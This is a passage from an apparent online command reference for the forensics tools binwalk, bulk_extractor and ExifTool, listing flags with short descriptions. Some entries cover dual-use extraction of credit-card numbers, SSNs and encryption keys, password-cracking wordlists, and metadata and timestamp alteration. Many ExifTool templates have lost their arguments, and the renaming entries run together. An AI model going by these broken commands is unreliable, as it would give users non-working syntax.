results.csv firmware.bin ``` Generates CSV formatted output and saves it directly to a file ### binwalk -t firmware.bin ```bash binwalk -t firmware.bin ``` Formats the output nicely to fit the current terminal window width ### binwalk -q firmware.bin ```bash binwalk -q firmware.bin ``` Runs the scan quietly, suppressing standard output unless errors occur ### binwalk -v firmware.bin ```bash binwalk -v firmware.bin ``` Enables verbose logging to display internal tool processing details ## Data Manipulation ### binwalk -l 1024 firmware.bin ```bash binwalk -l 1024 firmware.bin ``` Scans only the first 1024 bytes of the input file ### binwalk -o 4096 firmware.bin ```bash binwalk -o 4096 firmware.bin ``` Starts the scan at offset 4096, skipping the beginning of the file ### binwalk -O 0x800000 firmware.bin ```bash binwalk -O 0x800000 firmware.bin ``` Sets a custom base address for the scan, useful for memory dumps ### binwalk -g 2 firmware.bin ```bash binwalk -g 2 firmware.bin ``` Reverses every 2 bytes before scanning, useful for endianness swaps ## Binary Diffing ### binwalk -W firmware1.bin firmware2.bin ```bash binwalk -W firmware1.bin firmware2.bin ``` Performs a hexdump comparison between two or more files ### binwalk -W -G firmware1.bin firmware2.bin ```bash binwalk -W -G firmware1.bin firmware2.bin ``` Diffs files and only shows lines where bytes are identical (Green mode) ### binwalk -W -i firmware1.bin firmware2.bin ```bash binwalk -W -i firmware1.bin firmware2.bin ``` Diffs files and only shows lines where bytes differ among all files (Red mode) ### binwalk -W -U firmware1.bin firmware2.bin ```bash binwalk -W -U firmware1.bin firmware2.bin ``` Diffs files and only shows lines where bytes differ among some files (Blue mode) ## Incident Response ### binwalk -E -B firmware.bin ```bash binwalk -E -B firmware.bin ``` Combines entropy analysis with signature scanning to correlate high entropy areas ### binwalk -e --disable-plugin=lzma firmware.bin ```bash binwalk -e --disable-plugin=lzma firmware.bin ``` Extracts firmware while disabling the LZMA plugin to prevent false positives ## Malware Detection ### binwalk -A -l 5000 firmware.bin ```bash binwalk -A -l 5000 firmware.bin ``` Checks the bootloader area (first 5000 bytes) for executable code signatures ## Blue Team Validation ### binwalk -y "private key" firmware.bin ```bash binwalk -y "private key" firmware.bin ``` Specifically scans for potential embedded private key certificates ### binwalk -R "\x7fELF" firmware.bin ```bash binwalk -R "\x7fELF" firmware.bin ``` Validates the presence of ELF binaries using raw hex signatures ## Forensics Reporting ### binwalk -B -f report.txt --csv firmware.bin ```bash binwalk -B -f report.txt --csv firmware.bin ``` Generates a standard signature scan report in CSV format for external processing ## Advanced Workflow ### binwalk -Me -f analysis.log firmware.bin ```bash binwalk -Me -f analysis.log firmware.bin ``` Performs full recursive extraction and logs all findings to a file ### binwalk -B -e -p firmware.bin ```bash binwalk -B -e -p firmware.bin ``` Scans and extracts files while explicitly disabling plugins for raw handling ### binwalk -y "filesystem" -e firmware.bin ```bash binwalk -y "filesystem" -e firmware.bin ``` Extracts only the identified filesystem components, ignoring other artifacts ### binwalk -E -o 1000 -l 2000 firmware.bin ```bash binwalk -E -o 1000 -l 2000 firmware.bin ``` Analyzes entropy for a specific middle chunk of the firmware image ### binwalk -M -e -r --directory=investigation firmware.bin ```bash binwalk -M -e -r --directory=investigation firmware.bin ``` Clean recursive extraction into a named folder, deleting carved archives after expansion ## Defensive Validation ### binwalk --status firmware.bin ```bash binwalk --status firmware.bin ``` Shows the memory usage and running status of the scan (if supported by version) ## Advanced Carving ### binwalk -D "jpeg:jpg" firmware.bin ```bash binwalk -D "jpeg:jpg" firmware.bin ``` Carves all JPEG files found in the binary without executing any helper scripts ## Automation ### binwalk -q -e firmware.bin ```bash binwalk -q -e firmware.bin ``` Runs extraction in quiet mode for use in automated pipelines or scripts ## Plugin Management ### binwalk --enable-plugin=zlib firmware.bin ```bash binwalk --enable-plugin=zlib firmware.bin ``` Explicitly enables the zlib scanning plugin ### binwalk --list-plugins ```bash binwalk --list-plugins ``` Lists all available binwalk scan plugins ## Visual Analysis ### binwalk -3 firmware.bin ```bash binwalk -3 firmware.bin ``` Enables 3D visualization of the entropy plot (requires pyqtgraph) ## Signature Debugging ### binwalk -B -v firmware.bin ```bash binwalk -B -v firmware.bin ``` Runs a signature scan with verbose output to debug false positive signatures ## Complex Extraction ### binwalk -D "uimage header:uimage" -D "gzip:gz:gunzip %e" firmware.bin ```bash binwalk -D "uimage header:uimage" -D "gzip:gz:gunzip %e" firmware.bin ``` Defines multiple custom extraction rules for uImage headers and gzip data simultaneously ## Offset Analysis ### binwalk -y "squashfs" -t firmware.bin ```bash binwalk -y "squashfs" -t firmware.bin ``` Locates SquashFS offsets and formats the output for easy reading ## Reverse Engineering ### binwalk -A -O 0x400000 firmware.bin ```bash binwalk -A -O 0x400000 firmware.bin ``` Scans for opcodes assuming the firmware is loaded at memory address 0x400000 ## Forensics cleanup ### binwalk --rm firmware.bin ```bash binwalk --rm firmware.bin ``` Scans and cleans up zero-size files generated during extraction attempts ## Math Analysis ### binwalk -E -K 1024 firmware.bin ```bash binwalk -E -K 1024 firmware.bin ``` Performs entropy analysis using a custom block size of 1024 bytes ## System Info ### binwalk --examples ```bash binwalk --examples ``` Displays built-in usage examples and common command patterns ## Related tools - [Foremost](https://terminal.rokibulroni.com/tool/forensics/foremost) - [strings](https://terminal.rokibulroni.com/tool/forensics/strings) - [ExifTool](https://terminal.rokibulroni.com/tool/forensics/exiftool) # Tool: bulk_extractor > Scans disk images and files for email addresses, URLs, credit-card numbers and other features without parsing the file system. - Category: Forensics - Commands: 65 - Page: https://terminal.rokibulroni.com/tool/forensics/bulk-extractor - Homepage: https://github.com/simsong/bulk_extractor - Documentation: https://github.com/simsong/bulk_extractor/wiki - Tags: DFIR, feature extraction ## Install - apt: `sudo apt install bulk-extractor` - brew: `brew install bulk_extractor` ## Basic Forensic Scanning ### bulk_extractor -o output_dir image.dd ```bash bulk_extractor -o output_dir image.dd ``` Example: ```bash bulk_extractor -o case001_output suspect_drive.dd ``` Performs a default forensic scan on a raw disk image and saves artifacts to the specified directory ### bulk_extractor -h ```bash bulk_extractor -h ``` Displays the help menu with a list of available command-line options and flags ### bulk_extractor -V ```bash bulk_extractor -V ``` Displays the version information and compilation details of the tool ### bulk_extractor -H ```bash bulk_extractor -H ``` Lists all available scanners and their current status (enabled or disabled) ## Input Handling and Scanning Scope ### bulk_extractor -R -o output_dir directory_path ```bash bulk_extractor -R -o output_dir directory_path ``` Example: ```bash bulk_extractor -R -o evidence_out /mnt/evidence_files ``` Recursively scans a directory of files treating them as inputs for artifact extraction ### bulk_extractor -o output_dir - ```bash bulk_extractor -o output_dir - ``` Example: ```bash cat image.dd | bulk_extractor -o output_dir - ``` Accepts input from standard input (stdin) via a pipe for streaming analysis ## Performance and Tuning ### bulk_extractor -j 4 -o output_dir image.dd ```bash bulk_extractor -j 4 -o output_dir image.dd ``` Example: ```bash bulk_extractor -j 8 -o fast_scan image.dd ``` Specifies the number of parallel threads to use for faster processing ## Feature and Artifact Extraction ### bulk_extractor -x all -E email -o output_dir image.dd ```bash bulk_extractor -x all -E email -o output_dir image.dd ``` Example: ```bash bulk_extractor -x all -E email -o mail_artifacts image.dd ``` Disables all default scanners and enables only the email scanner for targeted extraction ### bulk_extractor -E accts -o output_dir image.dd ```bash bulk_extractor -E accts -o output_dir image.dd ``` Example: ```bash bulk_extractor -E accts -o accounts_out image.dd ``` Enables the accounts scanner to detect credit card numbers and other financial identifiers ### bulk_extractor -E url -o output_dir image.dd ```bash bulk_extractor -E url -o output_dir image.dd ``` Example: ```bash bulk_extractor -E url -o web_history image.dd ``` Enables the URL scanner to extract web addresses and domain names from the image ### bulk_extractor -E exif -o output_dir image.dd ```bash bulk_extractor -E exif -o output_dir image.dd ``` Example: ```bash bulk_extractor -E exif -o photo_metadata image.dd ``` Extracts EXIF metadata from image files embedded within the disk image ### bulk_extractor -E gps -o output_dir image.dd ```bash bulk_extractor -E gps -o output_dir image.dd ``` Example: ```bash bulk_extractor -E gps -o geo_data image.dd ``` Scans for GPS coordinates and geolocation data within files and metadata ### bulk_extractor -E net -o output_dir image.dd ```bash bulk_extractor -E net -o output_dir image.dd ``` Example: ```bash bulk_extractor -E net -o network_trace image.dd ``` Parses network packets found in the image to extract IP addresses and packet data ### bulk_extractor -E json -o output_dir image.dd ```bash bulk_extractor -E json -o output_dir image.dd ``` Example: ```bash bulk_extractor -E json -o json_data image.dd ``` Detects and extracts JSON objects typically found in logs and web applications ### bulk_extractor -E aes -o output_dir image.dd ```bash bulk_extractor -E aes -o output_dir image.dd ``` Example: ```bash bulk_extractor -E aes -o crypto_keys image.dd ``` Scans for AES key schedules in memory dumps or disk images to recover encryption keys ### bulk_extractor -E base64 -o output_dir image.dd ```bash bulk_extractor -E base64 -o output_dir image.dd ``` Example: ```bash bulk_extractor -E base64 -o encoded_data image.dd ``` Decodes Base64 strings found in the image and extracts features from the decoded content ### bulk_extractor -E elf -o output_dir image.dd ```bash bulk_extractor -E elf -o output_dir image.dd ``` Example: ```bash bulk_extractor -E elf -o linux_bins image.dd ``` Identifies and extracts information from ELF executables common in Linux systems ### bulk_extractor -E winpe -o output_dir image.dd ```bash bulk_extractor -E winpe -o output_dir image.dd ``` Example: ```bash bulk_extractor -E winpe -o windows_exe image.dd ``` Scans for Windows Portable Executable (PE) file headers and imports/exports ### bulk_extractor -E windirs -o output_dir image.dd ```bash bulk_extractor -E windirs -o output_dir image.dd ``` Example: ```bash bulk_extractor -E windirs -o dir_entries image.dd ``` Extracts Windows directory entries and file metadata from FAT and NTFS artifacts ### bulk_extractor -E winprefetch -o output_dir image.dd ```bash bulk_extractor -E winprefetch -o output_dir image.dd ``` Example: ```bash bulk_extractor -E winprefetch -o prefetch_artifacts image.dd ``` Parses Windows Prefetch files to determine application execution history ### bulk_extractor -E zip -o output_dir image.dd ```bash bulk_extractor -E zip -o output_dir image.dd ``` Example: ```bash bulk_extractor -E zip -o archive_contents image.dd ``` Locates ZIP archive headers and extracts metadata about compressed files ### bulk_extractor -E gzip -o output_dir image.dd ```bash bulk_extractor -E gzip -o output_dir image.dd ``` Example: ```bash bulk_extractor -E gzip -o comp_streams image.dd ``` Detects and processes GZIP compressed streams to extract internal content ### bulk_extractor -E pdf -o output_dir image.dd ```bash bulk_extractor -E pdf -o output_dir image.dd ``` Example: ```bash bulk_extractor -E pdf -o document_meta image.dd ``` Extracts text and metadata from PDF document structures found in the image ### bulk_extractor -E hiber -o output_dir image.dd ```bash bulk_extractor -E hiber -o output_dir image.dd ``` Example: ```bash bulk_extractor -E hiber -o hibernation_data image.dd ``` Scans Windows hibernation files for decompressed pages and artifacts ## Scanning Controls ### bulk_extractor -Y 1000 -o output_dir image.dd ```bash bulk_extractor -Y 1000 -o output_dir image.dd ``` Example: ```bash bulk_extractor -Y 500000 -o partition_start image.dd ``` Starts the forensic scan at a specific byte offset into the image file ### bulk_extractor -L 1G -o output_dir image.dd ```bash bulk_extractor -L 1G -o output_dir image.dd ``` Example: ```bash bulk_extractor -L 500M -o sample_scan image.dd ``` Limits the scan to a specific size (e.g., 1 gigabyte) from the start point ## Output and Logging ### bulk_extractor -b banner.txt -o output_dir image.dd ```bash bulk_extractor -b banner.txt -o output_dir image.dd ``` Example: ```bash bulk_extractor -b case_header.txt -o output_dir image.dd ``` Adds the contents of a banner file to the top of every output feature file ## Filtering and Stoplists ### bulk_extractor -w stoplist.txt -o output_dir image.dd ```bash bulk_extractor -w stoplist.txt -o output_dir image.dd ``` Example: ```bash bulk_extractor -w whitelist_words.txt -o clean_output image.dd ``` Uses a stoplist file to exclude specific terms or features from the final output ### bulk_extractor -F filter_terms.txt -o output_dir image.dd ```bash bulk_extractor -F filter_terms.txt -o output_dir image.dd ``` Example: ```bash bulk_extractor -F search_terms.txt -o specific_hits image.dd ``` Uses a filter file to only include features that match specific terms ## Advanced Configuration ### bulk_extractor -S word_min=6 -o output_dir image.dd ```bash bulk_extractor -S word_min=6 -o output_dir image.dd ``` Example: ```bash bulk_extractor -S word_min=10 -o long_words image.dd ``` Sets the minimum length of extracted words for the wordlist scanner to 6 characters ### bulk_extractor -S word_max=20 -o output_dir image.dd ```bash bulk_extractor -S word_max=20 -o output_dir image.dd ``` Example: ```bash bulk_extractor -S word_max=15 -o short_words image.dd ``` Sets the maximum length of extracted words to reduce noise in wordlist generation ## Performance and Tuning ### bulk_extractor -M 50 -o output_dir image.dd ```bash bulk_extractor -M 50 -o output_dir image.dd ``` Example: ```bash bulk_extractor -M 100 -o deep_scan image.dd ``` Sets the maximum recursion depth for scanners that explore compressed or encoded data ### bulk_extractor -m 100 -o output_dir image.dd ```bash bulk_extractor -m 100 -o output_dir image.dd ``` Example: ```bash bulk_extractor -m 200 -o large_mem_scan image.dd ``` Sets the maximum number of megabytes to process for a single file during recursion ## Incident Response Investigations ### bulk_extractor -E kml -o output_dir ram_dump.mem ```bash bulk_extractor -E kml -o output_dir ram_dump.mem ``` Example: ```bash bulk_extractor -E kml -o geo_artifacts ram.raw ``` Scans a RAM dump for KML (Keyhole Markup Language) data to find geolocation artifacts ### bulk_extractor -x all -E facebook -o output_dir image.dd ```bash bulk_extractor -x all -E facebook -o output_dir image.dd ``` Example: ```bash bulk_extractor -x all -E facebook -o social_media image.dd ``` Specifically targets Facebook-related artifacts like IDs and chat fragments ## Advanced Feature Extraction ### bulk_extractor -E ssn -o output_dir image.dd ```bash bulk_extractor -E ssn -o output_dir image.dd ``` Example: ```bash bulk_extractor -E ssn -o pii_scan image.dd ``` Enables the Social Security Number scanner to identify PII within the target ### bulk_extractor -E vcard -o output_dir image.dd ```bash bulk_extractor -E vcard -o output_dir image.dd ``` Example: ```bash bulk_extractor -E vcard -o contacts_scan image.dd ``` Extracts vCard contact information often found in mobile backups and emails ## Output and Logging ### bulk_extractor -q -o output_dir image.dd ```bash bulk_extractor -q -o output_dir image.dd ``` Example: ```bash bulk_extractor -q -o silent_scan image.dd ``` Runs the tool in quiet mode, suppressing status messages to stdout for cleaner logs ## Scanning Controls ### bulk_extractor -1 -o output_dir image.dd ```bash bulk_extractor -1 -o output_dir image.dd ``` Example: ```bash bulk_extractor -1 -o single_thread image.dd ``` Forces the tool to run on a single thread, useful for debugging or limited resources ## Advanced Configuration ### bulk_extractor -S ssn_mode=1 -o output_dir image.dd ```bash bulk_extractor -S ssn_mode=1 -o output_dir image.dd ``` Example: ```bash bulk_extractor -S ssn_mode=2 -o strict_ssn image.dd ``` Adjusts the sensitivity or validation mode of the SSN scanner via configuration variables ## Blue Team Defensive Validation ### bulk_extractor -E wordlist -o output_dir image.dd ```bash bulk_extractor -E wordlist -o output_dir image.dd ``` Example: ```bash bulk_extractor -E wordlist -o pass_audit image.dd ``` Generates a wordlist of all strings in the image for password cracking audits ## Threat Hunting ### bulk_extractor -r alert_list.txt -o output_dir image.dd ```bash bulk_extractor -r alert_list.txt -o output_dir image.dd ``` Example: ```bash bulk_extractor -r ioc_list.txt -o threat_hunt image.dd ``` Uses an alert list (globally) to flag specific indicators of compromise (IOCs) found in the image ## Output and Logging ### bulk_extractor -o output_dir -S report_context_width=64 image.dd ```bash bulk_extractor -o output_dir -S report_context_width=64 image.dd ``` Example: ```bash bulk_extractor -o extended_context -S report_context_width=128 image.dd ``` Increases the amount of context data saved around a feature in the report file ## Advanced Configuration ### bulk_extractor -z 0 -o output_dir image.dd ```bash bulk_extractor -z 0 -o output_dir image.dd ``` Example: ```bash bulk_extractor -z 0 -o start_zero image.dd ``` Start the page numbering at zero instead of one for the output histogram ## Incident Response Investigations ### bulk_extractor -E httplogs -o output_dir image.dd ```bash bulk_extractor -E httplogs -o output_dir image.dd ``` Example: ```bash bulk_extractor -E httplogs -o web_logs image.dd ``` Parses common HTTP server log formats from unallocated space or log files ## Automation and Pipeline Workflows ### bulk_extractor -o output_dir -C 100 image.dd ```bash bulk_extractor -o output_dir -C 100 image.dd ``` Example: ```bash bulk_extractor -o huge_scan -C 500 big_image.dd ``` Creates a crash checkpoint file every specified number of megabytes to allow resuming ## Advanced Configuration ### bulk_extractor -G 20 -o output_dir image.dd ```bash bulk_extractor -G 20 -o output_dir image.dd ``` Example: ```bash bulk_extractor -G 50 -o small_page image.dd ``` Sets the page size for analysis in megabytes, affecting memory usage and granularity ## Feature and Artifact Extraction ### bulk_extractor -E ether -o output_dir image.dd ```bash bulk_extractor -E ether -o output_dir image.dd ``` Example: ```bash bulk_extractor -E ether -o mac_addrs image.dd ``` Scans specifically for Ethernet MAC addresses in the raw data ## Input Handling and Scanning Scope ### bulk_extractor -o output_dir -s 512 image.dd ```bash bulk_extractor -o output_dir -s 512 image.dd ``` Example: ```bash bulk_extractor -o output_dir -s 1 image.raw ``` Sets the sampling rate to process only a fraction of the data for rapid triage ## Advanced Configuration ### bulk_extractor -S opt_context=1 -o output_dir image.dd ```bash bulk_extractor -S opt_context=1 -o output_dir image.dd ``` Example: ```bash bulk_extractor -S opt_context=0 -o no_context image.dd ``` Enables or disables the saving of context data alongside extracted features ## Blue Team Defensive Validation ### bulk_extractor -E find -S find_regex=regex.txt -o output_dir image.dd ```bash bulk_extractor -E find -S find_regex=regex.txt -o output_dir image.dd ``` Example: ```bash bulk_extractor -E find -S find_regex=pii_patterns.txt -o regex_scan image.dd ``` Uses the 'find' scanner with a user-provided file of regex patterns for custom data detection ## Advanced Feature Extraction ### bulk_extractor -E outlook -o output_dir image.dd ```bash bulk_extractor -E outlook -o output_dir image.dd ``` Example: ```bash bulk_extractor -E outlook -o pst_ost image.dd ``` Scans for Outlook PST and OST file structures and email artifacts ### bulk_extractor -E fe80 -o output_dir image.dd ```bash bulk_extractor -E fe80 -o output_dir image.dd ``` Example: ```bash bulk_extractor -E fe80 -o ipv6_link_local image.dd ``` Scans specifically for IPv6 Link-Local addresses in the data ## Threat Hunting ### bulk_extractor -E xor -o output_dir image.dd ```bash bulk_extractor -E xor -o output_dir image.dd ``` Example: ```bash bulk_extractor -E xor -o obfuscated_data image.dd ``` Attempts to detect XOR-encoded strings often used by malware to hide configuration data ## Advanced Combined Workflow ### bulk_extractor -x all -E email -E url -E ip -w whitelist.txt -o output_dir image.dd ```bash bulk_extractor -x all -E email -E url -E ip -w whitelist.txt -o output_dir image.dd ``` Example: ```bash bulk_extractor -x all -E email -E url -E ip -w known_good.txt -o triage image.dd ``` Runs a targeted triage scan for communication artifacts while excluding known safe domains ### bulk_extractor -R -j 16 -M 20 -o output_dir /evidence/files ```bash bulk_extractor -R -j 16 -M 20 -o output_dir /evidence/files ``` Example: ```bash bulk_extractor -R -j 32 -M 50 -o massive_dir_scan /mnt/server_dump ``` High-performance recursive directory scan with deep recursion limits and high thread count ## Automation and Pipeline Workflows ### bulk_extractor -o output_dir -S fmt=json image.dd ```bash bulk_extractor -o output_dir -S fmt=json image.dd ``` Example: ```bash bulk_extractor -o json_output -S fmt=json image.dd ``` Configures the output format to JSON for easier ingestion into other analysis tools (if supported by build) ## Feature and Artifact Extraction ### bulk_extractor -E sqlite -o output_dir image.dd ```bash bulk_extractor -E sqlite -o output_dir image.dd ``` Example: ```bash bulk_extractor -E sqlite -o db_fragments image.dd ``` Scans for SQLite database pages and recovers deleted records from free space ## Advanced Feature Extraction ### bulk_extractor -E lightgrep -S lightgrep_keywords=keywords.txt -o output_dir image.dd ```bash bulk_extractor -E lightgrep -S lightgrep_keywords=keywords.txt -o output_dir image.dd ``` Example: ```bash bulk_extractor -E lightgrep -S lightgrep_keywords=search.txt -o fast_search image.dd ``` Uses the Lightgrep engine (if compiled) for extremely fast keyword searching ## Incident Response Investigations ### bulk_extractor -E utmp -o output_dir image.dd ```bash bulk_extractor -E utmp -o output_dir image.dd ``` Example: ```bash bulk_extractor -E utmp -o login_history image.dd ``` Extracts login records from Unix utmp/wtmp structures found in the image ## Performance and Tuning ### bulk_extractor -P /path/to/plugins -o output_dir image.dd ```bash bulk_extractor -P /path/to/plugins -o output_dir image.dd ``` Example: ```bash bulk_extractor -P ./custom_scanners -o plugin_scan image.dd ``` Specifies a custom directory to load additional shared object scanners or plugins ## Advanced Combined Workflow ### bulk_extractor -Y 1000 -L 500M -x all -E aes -E base64 -o output_dir image.dd ```bash bulk_extractor -Y 1000 -L 500M -x all -E aes -E base64 -o output_dir image.dd ``` Example: ```bash bulk_extractor -Y 0 -L 1G -x all -E aes -E base64 -o crypto_triage image.dd ``` Performs a focused cryptographic artifact scan on a specific slice of the disk image ## Digital Forensics Reporting ### bulk_extractor -S banner_file=header.txt -S report_file=report.xml -o output_dir image.dd ```bash bulk_extractor -S banner_file=header.txt -S report_file=report.xml -o output_dir image.dd ``` Example: ```bash bulk_extractor -S banner_file=info.txt -S report_file=final.xml -o report_out image.dd ``` Customizes the banner and report filename generation for automated reporting pipelines ## Threat Hunting ### bulk_extractor -E rar -o output_dir image.dd ```bash bulk_extractor -E rar -o output_dir image.dd ``` Example: ```bash bulk_extractor -E rar -o archive_hunt image.dd ``` Scans for RAR archive headers which are often used for exfiltrating stolen data ## Advanced Combined Workflow ### bulk_extractor -j 8 -q -w stop.txt -r alert.txt -o output_dir image.dd ```bash bulk_extractor -j 8 -q -w stop.txt -r alert.txt -o output_dir image.dd ``` Example: ```bash bulk_extractor -j 16 -q -w common.txt -r malware_iocs.txt -o auto_hunt image.dd ``` High-performance, quiet automated scan using both stoplists for noise reduction and alert lists for IOC detection ## Related tools - [Foremost](https://terminal.rokibulroni.com/tool/forensics/foremost) - [strings](https://terminal.rokibulroni.com/tool/forensics/strings) # Tool: ExifTool > Reads, writes and strips metadata in images, documents, audio and video — invaluable for OSINT and forensics. - Category: Forensics - Commands: 60 - Page: https://terminal.rokibulroni.com/tool/forensics/exiftool - Homepage: https://exiftool.org - Documentation: https://exiftool.org/exiftool_pod.html - Tags: metadata, OSINT, images ## Install - apt: `sudo apt install libimage-exiftool-perl` - brew: `brew install exiftool` - windows: `winget install OliverBetz.ExifTool` ## Basic ExifTool Syntax ### exiftool -ver ```bash exiftool -ver ``` Displays the installed version number of the ExifTool application ## Basic Metadata Inspection ### exiftool ```bash exiftool ``` Example: ```bash exiftool evidence.jpg ``` Extracts and displays all standard metadata tags found in the specified file ### exiftool -a ```bash exiftool -a ``` Example: ```bash exiftool -a document.pdf ``` Displays all metadata tags, including duplicate tags that are normally suppressed ## Output and Formatting Control ### exiftool -s ```bash exiftool -s ``` Example: ```bash exiftool -s image.png ``` Displays tag names and values in a short format without extra whitespace ### exiftool -s -s ```bash exiftool -s -s ``` Example: ```bash exiftool -s -s photo.jpg ``` Displays tag values only, omitting the tag names entirely ## Tag Filtering and Grouping ### exiftool -g ```bash exiftool -g ``` Example: ```bash exiftool -g evidence.docx ``` Organizes metadata output by tag group headers like EXIF, XMP, and IPTC ### exiftool -G1 ```bash exiftool -G1 ``` Example: ```bash exiftool -G1 video.mp4 ``` Displays the specific family 1 group name for each tag along with the value ### exiftool -H ```bash exiftool -H ``` Example: ```bash exiftool -H unknown_file.bin ``` Displays the hexadecimal tag ID for each metadata tag found ### exiftool -D ```bash exiftool -D ``` Example: ```bash exiftool -D firmware.bin ``` Displays the decimal tag ID for each metadata tag found ## Incident Response Investigations ### exiftool -u ```bash exiftool -u ``` Example: ```bash exiftool -u suspicious.jpg ``` Extracts unknown tags that ExifTool does not recognize by name ### exiftool -U ```bash exiftool -U ``` Example: ```bash exiftool -U payload.jpg ``` Extracts unknown binary tags which may contain hidden data or payloads ## Tag Filtering and Grouping ### exiftool -common ```bash exiftool -common ``` Example: ```bash exiftool -common photo.jpg ``` Displays only the most common and useful metadata tags for quick triage ## Output and Formatting Control ### exiftool -j ```bash exiftool -j ``` Example: ```bash exiftool -j evidence.jpg ``` Exports the metadata output in standard JSON format ### exiftool -X ```bash exiftool -X ``` Example: ```bash exiftool -X report.xml ``` Exports the metadata output in RDF/XML format ### exiftool -php ```bash exiftool -php ``` Example: ```bash exiftool -php image.jpg ``` Formats the output as a PHP array for web integration ## Batch Processing ### exiftool -csv ```bash exiftool -csv ``` Example: ```bash exiftool -csv /case_data/ ``` Recursively scans a directory and outputs a single CSV file with all metadata ## Output and Formatting Control ### exiftool -T - - ```bash exiftool -T - - ``` Example: ```bash exiftool -T -filename -imagesize image.jpg ``` Outputs specific tags in a tab-delimited format for spreadsheet import ## Recursive and Batch Processing ### exiftool -r ```bash exiftool -r ``` Example: ```bash exiftool -r /evidence/images/ ``` Recursively processes all files in subdirectories of the specified folder ### exiftool -ext -r ```bash exiftool -ext -r ``` Example: ```bash exiftool -ext jpg -r /home/user/ ``` Processes only files with the specified extension in a directory tree ### exiftool --ext -r ```bash exiftool --ext -r ``` Example: ```bash exiftool --ext exe -r /server/uploads/ ``` Excludes files with the specified extension from processing ## Threat Hunting and Analysis ### exiftool -if '' ```bash exiftool -if '' ``` Example: ```bash exiftool -if '$iso > 1600' /photos/ ``` Processes files only if they meet a specific metadata condition ### exiftool -p '' ```bash exiftool -p '' ``` Example: ```bash exiftool -p '$filename found at $gpslatitude' photo.jpg ``` Prints a custom formatted string using tag values for reporting ## Metadata Editing ### exiftool -= ```bash exiftool -= ``` Example: ```bash exiftool -Artist='Investigator' photo.jpg ``` Writes a new value to the specified metadata tag ### exiftool -+= ```bash exiftool -+= ``` Example: ```bash exiftool -Keywords+='evidence' document.pdf ``` Appends a value to a list-type tag like Keywords without overwriting ## Metadata Removal ### exiftool -= ```bash exiftool -= ``` Example: ```bash exiftool -Comment= private.jpg ``` Deletes the specific tag from the file by assigning it an empty value ### exiftool -all= ```bash exiftool -all= ``` Example: ```bash exiftool -all= public_release.jpg ``` Removes all supported metadata tags from the file for sanitization ### exiftool -gps:all= ```bash exiftool -gps:all= ``` Example: ```bash exiftool -gps:all= photo.jpg ``` Removes only the GPS and geolocation tags while keeping others intact ## Metadata Editing ### exiftool -tagsfromfile ```bash exiftool -tagsfromfile ``` Example: ```bash exiftool -tagsfromfile original.jpg edited.jpg ``` Copies all metadata tags from a source file to a destination file ### exiftool -z -tagsfromfile ```bash exiftool -z -tagsfromfile ``` Example: ```bash exiftool -z -tagsfromfile a.jpg b.jpg ``` Copies tags while ignoring internal compression tags to prevent corruption ## Date and Time Handling ### exiftool -alldates+= ```bash exiftool -alldates+= ``` Example: ```bash exiftool -alldates+=1 image.jpg ``` Shifts all common date/time tags forward by one hour ### exiftool -GlobalTimeShift ```bash exiftool -GlobalTimeShift ``` Example: ```bash exiftool -GlobalTimeShift -0:30 image.jpg ``` Applies a global time shift to all date tags when reading or writing ## File Renaming ### exiftool '-filename ```bash exiftool '-filename ``` Example: ```bash exiftool '-filename ```bash exiftool '-Directory ``` Example: ```bash exiftool '-Directory ```bash exiftool -ee ``` Example: ```bash exiftool -ee video.mp4 ``` Extracts embedded metadata from video streams or document sub-files ### exiftool -ee3 ```bash exiftool -ee3 ``` Example: ```bash exiftool -ee3 video.mov ``` Extracts all embedded data from video files, parsing the entire stream aggressively ## Digital Forensics Reporting ### exiftool -b -ThumbnailImage > ```bash exiftool -b -ThumbnailImage > ``` Example: ```bash exiftool -b -ThumbnailImage doc.jpg > thumb.jpg ``` Extracts the binary thumbnail data from a file and saves it as a separate image ### exiftool -b -PreviewImage > ```bash exiftool -b -PreviewImage > ``` Example: ```bash exiftool -b -PreviewImage raw.cr2 > preview.jpg ``` Extracts the large embedded preview image from RAW camera files ## Blue Team Defensive Validation ### exiftool -v ```bash exiftool -v ``` Example: ```bash exiftool -v unknown.file ``` Runs in verbose mode to show the detailed parsing process of the file structure ### exiftool -v3 ```bash exiftool -v3 ``` Example: ```bash exiftool -v3 exploit.pdf ``` Runs in very high verbose mode, providing a hex dump of the parsed tags ### exiftool -htmlDump ```bash exiftool -htmlDump ``` Example: ```bash exiftool -htmlDump suspect.jpg > dump.html ``` Generates an HTML file illustrating the binary structure and offsets of the metadata ## Advanced Workflows ### exiftool -@ ```bash exiftool -@ ``` Example: ```bash exiftool -@ arguments.txt ``` Reads command-line arguments from a file to bypass shell character limits ### exiftool -config ```bash exiftool -config ``` Example: ```bash exiftool -config custom.config image.jpg ``` Uses a custom configuration file to define user-specific tags or behaviors ## Error Handling ### exiftool -m ```bash exiftool -m ``` Example: ```bash exiftool -m corrupted.jpg ``` Ignores minor errors and warnings to force processing of corrupted files ### exiftool -F ```bash exiftool -F ``` Example: ```bash exiftool -F bad_offsets.jpg ``` Attempts to fix the offsets of EXIF tags if they are incorrect ## Performance Optimization ### exiftool -fast ```bash exiftool -fast ``` Example: ```bash exiftool -fast huge_dir/ ``` Scans files faster by avoiding the extraction of MakerNotes ### exiftool -fast2 ```bash exiftool -fast2 ``` Example: ```bash exiftool -fast2 network_share/ ``` Scans even faster by avoiding any unnecessary bit-level information processing ## Character Encoding ### exiftool -L ```bash exiftool -L ``` Example: ```bash exiftool -L legacy.jpg ``` Assumes Latin1 encoding for tags instead of UTF-8 for legacy compatibility ### exiftool -charset ```bash exiftool -charset ``` Example: ```bash exiftool -charset cyrillic input.txt ``` Specifies the character set to use when decoding tag values ## Threat Hunting and Analysis ### exiftool -listx ```bash exiftool -listx ``` Lists all available tags in XML format including their data types ### exiftool -listw ```bash exiftool -listw ``` Lists all Writeable tags available in the current version ## Digital Forensics Reporting ### exiftool -W+! ```bash exiftool -W+! ``` Example: ```bash exiftool -W+! %d%f_%t%-c.%s -b -PreviewImage img.cr2 ``` Writes extracted binary data to a file with a unique name pattern ## Metadata Editing ### exiftool -overwrite_original ```bash exiftool -overwrite_original ``` Example: ```bash exiftool -overwrite_original -all= image.jpg ``` Overwrites the original file directly instead of creating a '_original' backup ### exiftool -overwrite_original_in_place ```bash exiftool -overwrite_original_in_place ``` Example: ```bash exiftool -overwrite_original_in_place image.jpg ``` Overwrites the file while preserving file system attributes like creation time ## Geolocation Analysis ### exiftool -geotag ```bash exiftool -geotag ``` Example: ```bash exiftool -geotag track.gpx /photos/ ``` Adds GPS coordinates to images by correlating time with a GPS track log ### exiftool -geotime= ```bash exiftool -geotime= 